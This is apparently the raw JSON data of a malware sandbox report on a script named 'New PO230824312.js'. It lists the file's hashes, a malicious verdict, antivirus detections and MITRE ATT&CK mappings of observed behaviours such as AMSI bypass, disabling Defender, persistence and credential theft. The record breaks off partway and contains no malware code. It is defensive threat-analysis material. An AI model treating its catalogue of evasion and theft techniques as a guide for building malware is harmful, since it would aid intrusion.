00000000-00008040)18:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$20"}}],["$","$L21",null,{"initialData":{"schema_version":"1.0.15","sha256":"0bd9a8e1c30847e5fbeacc29b76ce8fc9dd54e50cfb9796dcf16348623b1bc1f","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":76,"unified_at_epoch_ms":1790642975075,"unified_at":"2026-09-29T00:49:35.075Z","metadata":{"hashes":{"sha256":"0bd9a8e1c30847e5fbeacc29b76ce8fc9dd54e50cfb9796dcf16348623b1bc1f","sha1":"fbfdfaf32fba5773dd4268dc58af15102bfa5959","md5":"e84954af789970e97f01bf3321e05958","sha512":"58c0e1710690cdb320cf418971846bace376fec01db03142e03e1dfd1caf404e25f854744ff1dba58b79930044796659a35785975527d304229fd7ce7402417d","ssdeep":"24576:M1S9tvz9qU9TOzWX/IxxWehBUyXIRw+1w1EC/i6w+EuJrsyL:xIY/IxjrX6+oa","ssdeep_chunks":["24576:M1S9tvz","24576:1S9tvz9","24576:S9tvz9q","24576:9tvz9qU","24576:tvz9qU9","24576:vz9qU9T","24576:z9qU9TO","24576:9qU9TOz","24576:qU9TOzW","24576:U9TOzWX","24576:9TOzWX/","24576:TOzWX/I","24576:OzWX/Ix","24576:zWX/Ixx","24576:WX/IxxW","24576:X/IxxWe","24576:/IxxWeh","24576:IxxWehB","24576:xxWehBU","24576:xWehBUy","24576:WehBUyX","24576:ehBUyXI","24576:hBUyXIR","24576:BUyXIRw","24576:UyXIRw+","24576:yXIRw+1","24576:XIRw+1w","24576:IRw+1w1","24576:Rw+1w1E","24576:w+1w1EC","24576:+1w1EC/","24576:1w1EC/i","24576:w1EC/i6","24576:1EC/i6w","24576:EC/i6w+","24576:C/i6w+E","24576:/i6w+Eu","24576:i6w+EuJ","24576:6w+EuJr","24576:w+EuJrs","24576:+EuJrsy","24576:EuJrsyL","49152:M1S9tvz","49152:1S9tvz9","49152:S9tvz9q","49152:9tvz9qU","49152:tvz9qU9","49152:vz9qU9T","49152:z9qU9TO","49152:9qU9TOz","49152:qU9TOzW","49152:U9TOzWX","49152:9TOzWX/","49152:TOzWX/I","49152:OzWX/Ix","49152:zWX/Ixx","49152:WX/IxxW","49152:X/IxxWe","49152:/IxxWeh","49152:IxxWehB","49152:xxWehBU","49152:xWehBUy","49152:WehBUyX","49152:ehBUyXI","49152:hBUyXIR","49152:BUyXIRw","49152:UyXIRw+","49152:yXIRw+1","49152:XIRw+1w","49152:IRw+1w1","49152:Rw+1w1E","49152:w+1w1EC","49152:+1w1EC/","49152:1w1EC/i","49152:w1EC/i6","49152:1EC/i6w","49152:EC/i6w+","49152:C/i6w+E","49152:/i6w+Eu","49152:i6w+EuJ","49152:6w+EuJr","49152:w+EuJrs","49152:+EuJrsy","49152:EuJrsyL","24576:xIY/Ixj","24576:IY/Ixjr","24576:Y/IxjrX","24576:/IxjrX6","24576:IxjrX6+","24576:xjrX6+o","24576:jrX6+oa"],"imphash":"Unknown"},"file_info":{"file_name":"New PO230824312.js","file_type":["script","bat"],"file_type_id":"bat","file_size":1495521,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1789561533000,"last_seen":1789565133000,"last_multi_scan":1789565133000}},"detections":{"summary":{"verdict":"malicious","score":76,"tags":null},"stats":{"av":{"malicious_count":2,"suspicious_count":0,"total_engines":26},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":67},"sandbox_signatures":{"informative_count":147,"suspicious_count":13,"malicious_count":1,"total":161},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"JS/Obfuscated.CQ trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"BAT/Powcod.H.gen!Camelot","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"JS/Obfuscated.CQ trojan","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"suspicious","value":"YARA signature match - PowerShell with Base64 encoding"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"YARA signature match – Encryption algorithm"},{"type":"informative","value":"Shows ability to obfuscate file or information"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Command and Control","technique":"Mail Protocols","attack_id":"T1071.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/003","identifiers":[{"type":"informative","value":"Contains reference to Mail transfer protocol"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Credential Access","technique":"Unsecured Credentials","attack_id":"T1552","attack_id_wiki":"https://attack.mitre.org/techniques/T1552","identifiers":[{"type":"informative","value":"Contains ability to search for patterns of text (possibly credentials) in files"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Reads the windows installation date"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Able to find string content in a file"},{"type":"informative","value":"Contains ability to retrieve environment variable settings"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads the active computer name"},{"type":"suspicious","value":"Calls an API typically used to find and list the Windows drive types"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contains references to network communication API (string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"Observed Powershell command strings"},{"type":"suspicious","value":"Executes powershell accessing native variables"},{"type":"informative","value":"Executes PowerShell with command line"},{"type":"informative","value":"YARA signature match - PowerShell file content"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to executes commands or batch file"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Found named pipe like strings"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Executes batch file"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"informative","value":"Writes registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"suspicious","value":"Modifies auto-execute functionality by setting/creating a value in the registry"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Able to inject code into another process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"suspicious","value":"Queries process mitigation policy via NtQueryInformationProcess"},{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Defense Evasion","technique":"Indirect Command Execution","attack_id":"T1202","attack_id_wiki":"https://attack.mitre.org/techniques/T1202","identifiers":[{"type":"informative","value":"Able to mask child processes from sight using conhost"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"informative","value":"Contains ability to disable Windows Defender using PowerShell"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Defense Evasion","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Marks file for deletion"},{"type":"informative","value":"Able to delete items (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Able to decrypt/decode data"},{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Defense Evasion","technique":"Indicator Blocking","attack_id":"T1562.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/006","identifiers":[{"type":"informative","value":"Modifies process error mode to suppress error dialogs"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"},{"type":"informative","value":"Triggers a burst of requests to the same API (API Hammering)"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Defense Evasion","technique":"Match Legitimate Resource Name or Location","attack_id":"T1036.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/005","identifiers":[{"type":"informative","value":"Creates file(s) in System32 or SysWOW64 directory"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Defense Evasion","technique":"Clear Persistence","attack_id":"T1070.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/009","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Defense Evasion","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Defense Evasion","technique":"Double File Extension","attack_id":"T1036.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/007","identifiers":[{"type":"suspicious","value":"Attempts to execute a file with double extensions"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Credential Access","technique":"Steal Web Session Cookie","attack_id":"T1539","attack_id_wiki":"https://attack.mitre.org/techniques/T1539","identifiers":[{"type":"informative","value":"Able to access web session cookie"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Tries to access recent files"},{"type":"informative","value":"Tries to access LNK files (Windows shortcut)"},{"type":"informative","value":"Able to access file/directory"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Searches for patterns in files"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Tries to access non-existent files (executable)"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Calls an API typically used to retrieve user names for specified SIDs"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"malicious","value":"Spawns many processes"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Reads Windows Trust Settings"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"informative","value":"Able to identify remote systems"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API typically used to enumerate active windows"}],"sources":[{"report_type":"sandbox","report_id":"6aaa98cd2aaaafe64502592d"}]},{"tactic":"Discovery","technique":"Local Storage Discovery","attack_id":"T1680","attack_id_wiki":"https://attack.mitre.org/techniques/T1680","identifiers":[{"type":"informative","value":"Calls an API typically used to enumerate Windows drive 